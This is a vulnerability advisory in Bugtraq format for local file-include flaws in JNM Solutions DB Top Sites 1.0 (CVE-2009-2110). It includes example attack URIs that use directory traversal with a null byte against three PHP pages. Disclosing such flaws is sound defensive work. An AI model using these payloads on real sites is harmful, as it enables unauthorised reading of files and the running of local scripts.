JNM Solutions DB Top Sites Multiple Local File Include Vulnerabilities

Bugtraq ID:	44114
Class:	Input Validation Error
CVE:	CVE-2009-2110
Remote:	Yes
Local:	No
Published:	Jun 15 2009 12:00AM
Updated:	Jun 15 2009 12:00AM
Credit:	SirGod
Vulnerable:	JNM Solutions DB Top Sites 1.0
Not Vulnerable:

JNM Solutions DB Top Sites Multiple Local File Include Vulnerabilities

JNM Solutions DB Top Sites is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application.

JNM Solutions DB Top Sites 1.0 is vulnerable; other versions may also be affected.

JNM Solutions DB Top Sites Multiple Local File Include Vulnerabilities

Attackers may exploit these issues with a browser.

The following example URIs are available:

http://www.example.com/[path]/full.php?u=../../../../../../BOOTSECT.BAK%00
http://www.example.com/[path]/index.php?u=../../../../../../BOOTSECT.BAK%00
http://www.example.com/[path]/contact.php?u=../../../../../../BOOTSECT.BAK%00

JNM Solutions DB Top Sites Multiple Local File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

JNM Solutions DB Top Sites Multiple Local File Include Vulnerabilities

References:

• DB Top Sites Homepage (JNM Solutions)